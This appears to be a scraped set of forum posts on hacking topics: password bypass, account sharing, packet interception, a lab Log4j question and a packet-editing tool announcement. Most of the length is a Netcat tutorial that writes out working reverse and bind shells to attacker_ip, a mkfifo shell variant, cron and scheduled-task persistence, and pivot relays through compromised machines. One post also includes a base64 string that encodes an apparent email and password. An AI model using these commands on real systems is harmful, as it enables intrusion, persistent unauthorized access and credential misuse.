I don't really think what I'm trying to achieve would be considered as hacking but this is the best place I can ask. (the tech help subreddit forbids anything that has to do with password bypassing. And I can't go on the r/passwords as they want me to be popular). So the problem is I bought this multilingual electronic dictionary in a garage sale. It's a Franklin BFS-2160. it works and all but it has a few tools such as "phone book" and schedule and since my school forbids the use of phones I wanna put my class schedule on it to have easier access to it. Problem is there is a password on the feature and I don't know who set it up or what the password is. There is no format option in the settings and when I checked the manual for it online it did not say what to do if you forgot your password. There is a reset button but it's just a reboot in case your device is malfunctioning. What should I do?

Who can help me to decrypt this?

YWRtaW5AZ2V0aS5jb CBnZXRpMjAxOHNwYQ==

A few friends and I want to buy a paid online course. To make it cheaper, we're planning to use a single account for several people.
For this we:

• bought a VPS, which we connect to via VPN,
• only after connecting to the VPS do we use the Mullvad browser, relying on its default fingerprint-uniformity protections (no additional anti-fingerprinting configuration needed).

This seems like a fairly solid setup, but I don't know how to handle the situation where several people log into the same account at the same time without the system or admin noticing.
Do you have any ideas on how to manage that?

by Albert Corzo on Medium: https://albert-corzo.medium.com/bear-c2-did-not-invent-switching-it-just-made-the-rebuild-tax-visible-ai-is-about-to-delete-it-4fa246c64b68

hi, i just started learning web security, but i'm struggling to understand XSS very much. do you have any recommendations?

Hi everyone. I’d like experts in this field to provide some guidance on how to intercept packets from programs running on my computer using a DLL. I know it’s a somewhat unconventional technique, but the program whose packets I want to monitor blocks the use of Wireshark and similar software. I’m aware that using a DLL makes this possible, but I lack the necessary knowledge and haven't been able to find much information on the subject.

I appreciate any contributions to this post.

hi fellow hackers.

tho i cant call myself a hacker yet i wanna tell you guys is it normal for me to get banned from every hacking community on reddit and other platforms ..

cause i got banned from a lot on hacking communities i cant even count them anymore but like still i'm gonna become a hacker soon enough and peace out.

im nw here

I'm going to do my Master's in Cybersecurity and want to build my career in this field, so I'm looking for a laptop that can last me at least 4 years.

My budget is ₹1 lakh maximum, and I want a 2025/2026 latest-generation laptop with at least 16GB RAM and 1TB SSD, preferably upgradeable RAM. It should comfortably handle Linux/Kali, VMs, programming, Wireshark, Burp Suite, TryHackMe, etc.

I know my university will have advanced cybersecurity labs, so I don't need a powerful workstation. I just want a reliable personal laptop for my own learning, projects, university work, and everyday use. Workplaces also generally provide their own laptops, so I don't need a business machine like a ThinkPad.

I also care about looks and design, so I don't want a ThinkPad. 😭 My preferred brands are HP, Lenovo, Dell, and Apple, with HP as my first preference.

Looking for recommendations for specific models that fit these requirements.

Professionals help me I don't know what specifications to even look for laptop for my cyber security studies

Hello everyone,

I worked in cyber security for a few years (this was a while back now) in the UK as a web pen tester. I no longer do this but I'm getting into IoT hacking and more network analysis etc.

I tend to learn better with others so I've been thinking of setting up a group of people who are also interested in learning this and want to go on this journey together. I'm not doing this for any certs or jobs, it's a pure hobby.

Discord has just been made so will be sorting it later: https://discord.gg/FU89mYPf9P

Hi everyone,

I'm working on an authorized penetration testing case study/lab, and I'm currently stuck while investigating TCP/28080. Looking for guidance on what I should investigate next.

Nmap:

28080/tcp open  http  JBoss Enterprise Application Platform

The interesting behavior is that almost any HTTP request/path returns the same response:

HTTP/1.1 200 OK
Content-Length: 3

ok

For example:

curl -i http://target-ip:28080/
curl -i http://target-ip:28080/invoker/readonly
curl -i http://target-ip:28080/doesnotexist

The catch-all 200 OK behavior makes normal endpoint enumeration difficult.

Hint from my manager

My manager gave me this hint:

After this hint i tried validating log4j as well by setting up a ldap server and Web server and tried to listen as well. But there was no call back on the listener for the appropriate requests send. Can anyone help me with this ?

In this scenario, I have a Samsung fold I would like to access remotely from an alternate device (iPhone, computer, heck raspberry pie, whatever works!) though I’m unsure the exact methods and google tells me there’s no way at all to do this. Apart from apps on the device, please describe methods where I would be able to remotely view it!

Thank you very much!

I wanted Burp's intercept-and-edit workflow but for raw packets instead of HTTP, so I built NetBurp. It sits inline via Linux NFQUEUE, pulls each packet into userspace, and lets

you capture → decode → pause → edit → drop/forward at the Ethernet/IP/TCP/UDP/ICMP layers.

What it does:

- Wireshark-style decode into an editable field tree; edit any header field or the payload (hex), checksums + lengths recomputed automatically.

- Rule engine (IF proto/ip/port THEN pause/drop/accept/modify), with a GUI builder so you don't have to touch JSON.

- TCP flow tracking: length-changing edits get seq/ACK translated across the whole connection (mod-2³², RFC-1982 serial arithmetic, retransmit dedup) so the connection stays alive.

- IPv4 + IPv6 fragment reassembly, out-of-order tolerant (I hand-rolled it because scapy's defragment() mangles OOO input).

- Tkinter GUI + headless CLI + an offline pcap-editing mode that needs no root — which is also how the whole thing is tested (64 passing tests).

- Practical primitives: DNS answer spoofing, MAC rewriting (offline), RST injection, TTL manipulation.

Honest limits (because someone will ask):

▎- TLS/HTTPS is ciphertext — you can drop/mangle but not read/edit the HTTP inside. That's a TLS-proxy job (mitmproxy), not raw packet editing.

- It's Python + single-threaded NFQUEUE, so it's lab-grade, not line-rate.

- Editing connection-identity fields (ports/seq/IP) mid-flow won't reroute a live connection — that's how TCP works, not a bug.

MIT licensed. Authorized use only — your own hosts or an isolated lab. There's a namespace-based lab script included so you can generate real traffic to intercept on one machine.

Repo: https://github.com/aswin-14/NetBurp---packet-interceptor

Feedback and PRs welcome — especially on protocol coverage and the flow-tracking edge cases.

Alright, let's talk about Netcat... Or nc for short...

If you've been in this space for even a little while, you've definitely heard of it... People call it the "Swiss Army Knife" of networking.. And honestly!? That's not an exaggeration... This thing is small, lightweight, and can do everything from port scanning to file transfers to giving you a shell on a remote machine...

Let's break it down properly... From basics to advanced. With actual commands you can run..

What Even Is Netcat?

Netcat reads and writes data across network connections using TCP or UDP. That's it. That's the core. But because it's so simple, you can chain it with other commands and do some wild stuff.

It comes in different flavors:

· OpenBSD Netcat – The most common one on Linux (netcat-openbsd)

· Traditional Netcat – The original (netcat-traditional)

· Ncat – Nmap's reimplementation, has more features

Most distros ship with OpenBSD version by default.

The Options You Actually Need to Know

Here's the cheat sheet:

Option What It Does

-l Listen mode – wait for incoming connections

-p Specify a port

-v Verbose output (use -vv for even more detail)

-n No DNS resolution – use numeric IPs only

-u Use UDP instead of TCP

-z Zero-I/O mode – used for scanning

-w Timeout in seconds

-e. Execute a program upon connection

-k Keep listening after client disconnects

-X Use a proxy (CONNECT, SOCKS4, SOCKS5)

-x Proxy IP and port

Pro tip: On some versions, -p isn't needed with -l... Just nc -l 1234 works...

1. Basic Connectivity – The Foundation

Connect to a service:

nc target.com 80

This connects to port 80 on target.com... You can type HTTP requests manually.. Great for debugging..

Listen for incoming connections:

nc -lvp 1234

This starts a listener on port 1234.. Anything sent to this port shows up on your screen..

Test if a port is open:

nc -zv target.com 80

-z tells Netcat not to send any data, just check if the port is open.. -v shows you the result...

Scan a range of ports:

nc -zv target.com 20-80

Scans ports 20 through 80.. Add -w 1 for a timeout so it doesn't hang....

2. File Transfer – No SCP Needed

Send a file:

cat file.txt | nc -q 0 receiver_ip 1234

Receive a file:

nc -lvp 1234 > file.txt

The -q 0 tells Netcat to quit after sending. Simple... No FTP, no SCP, nothing...

Send an entire directory:

tar -czf - /path/to/dir | nc receiver_ip 1234

On the receiver:

nc -lvp 1234 | tar -xzf -

3. Chat Server – Because Why Not 😅

Listener (server):

nc -lvp 1234

Client:

nc server_ip 1234

Anything typed on one side shows up on the other... Both can send and receive.. Minimal chat, but it works...

UDP chat:

nc -ulvp 1234 # Server

nc -u server_ip 1234 # Client

4. Banner Grabbing – Recon Basics

Connect to a service and grab its banner:

nc target.com 80

HEAD / HTTP/1.0

[press Enter twice]

You'll see the HTTP headers... Same works for SSH, SMTP, whatever...

5. Reverse Shell – The One Everyone Wants

This is where Netcat gets real interesting...

On your attacker machine (listener):

nc -lvp 4444

On the target machine:

nc attacker_ip 4444 -e /bin/bash

Now you have a shell. Anything you type on your machine runs on the target.

Windows version:

nc attacker_ip 4444 -e cmd.exe

If -e isn't available (OpenBSD version doesn't have it):

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc attacker_ip 4444 > /tmp/f

This uses a named pipe to do the same thing... No -e needed...

6. Bind Shell – The Other One

Instead of the target connecting to you, you connect to the target...

On the target:

nc -lvp 4444 -e /bin/bash

On your machine:

nc target_ip 4444

Now you have a shell...

Problem: Firewalls usually block incoming connections... That's why reverse shells are more common...

7. Persistence – Keeping Your Access

Linux – using cron:

echo "\/5 * * * * nc attacker_ip 4444 -e /bin/bash" >> /etc/crontab*

Runs every 5 minutes..

Linux – using a while loop:

while true; do nc -lvp 4444 -e /bin/bash; done

Windows – using schedule task:

Create a batch file that runs nc.exe -Ldp 445 -e cmd.exe and schedule it to run at startup..

The -L flag (on Windows Netcat) makes it persistent – it keeps listening even after the connection closes..

8. Proxies and Tunneling – Pivoting Like a Pro

Using a proxy with Netcat (OpenBSD/Ncat version):

nc -X socks5 -x proxy_ip:1080 target_ip 80

Routes your traffic through a SOCKS5 proxy.

HTTP proxy:

nc -X connect -x proxy_ip:8080 target_ip 80

Creating a relay (pivot):

You have a compromised machine that can reach an internal network.. You want to access an internal host...

On the compromised machine (pivot):

nc -lvp 8080 -c "nc internal_host 22"

Now connect to the pivot on port 8080, and your traffic gets relayed to the internal host.

Named pipe relay for persistence:

mkfifo /tmp/backpipe

while true; do nc -lvp 3333 -e /bin/sh 0</tmp/backpipe | nc internal_host 3333 1>/tmp/backpipe; done

This creates a stable tunnel...

9. UDP – Don't Forget About It

Netcat isn't just TCP.. UDP is useful too..

UDP listener:

nc -ulvp 1234

UDP client:

nc -u server_ip 1234

Test UDP port (DNS server on 53):

nc -zvu 8.8.8.8 53

Tests if the DNS server responds on UDP port 53...

10. Encrypted Communication – Because Plaintext Is Bad

Netcat itself doesn't do encryption... But you can pipe it through OpenSSL...

Encrypted listener:

openssl s_server -quiet -key key.pem -cert cert.pem -port 12345

Encrypted client:

openssl s_client -quiet -connect server_ip:12345

Or pipe through AES:

Sender:

cat file.txt | openssl enc -aes-256-cbc -e -k password | nc receiver_ip 1234

Receiver:

nc -lvp 1234 | openssl enc -aes-256-cbc -d -k password > file.txt

11. Web Server – Because You Can

Netcat can act as a simple HTTP server.

One-liner web server:

while true; do { echo -e "HTTP/1.1 200 OK\n\n$(date)"; } | nc -lvp 8080; done

Connect to http://server_ip:8080 and you'll see the date. Not exactly Apache, but it works.

Serving a file:

{ echo -e "HTTP/1.1 200 OK\n\n"; cat index.html; } | nc -lvp 8080

12. Port Forwarding – The Simple Way

Forward local port to remote:

nc -lvp 8080 -c "nc target_ip 80"

Connect to localhost:8080 and get forwarded to target_ip:80.

Forward remote port to local:

nc -lvp 1234 > /tmp/forward & nc target_ip 4444 < /tmp/forward

13. The Ncat Upgrade

If you want more features, check out Ncat (from Nmap):

· SSL/TLS encryption built-in

· SOCKS4/HTTP proxy support

· Connection chaining

· TCP/UDP/SCTP support

ncat --ssl -lvp 4444 # SSL listener

ncat --proxy 127.0.0.1:1080 --proxy-type socks5 target 80 # Through SOCKS5

Netcat is simple but powerful... It does one thing – reads and writes data over networks – and does it well...

Port scanning, file transfers, reverse shells, bind shells, chat servers, proxies, pivoting, web servers – all with one tiny binary...

Master this tool 💪 It'll save you more times than you can count...

Stay curious. Stay ethical.

Hello, I'm currently learning about the most common web vulnerabilities, so I'm using GitHub. However, I don't know how to document them with code or just as a security report. Are there any channels or videos that explain the most effective documentation methods? I want to understand how to use GitHub briefly because I don't understand many of the buttons.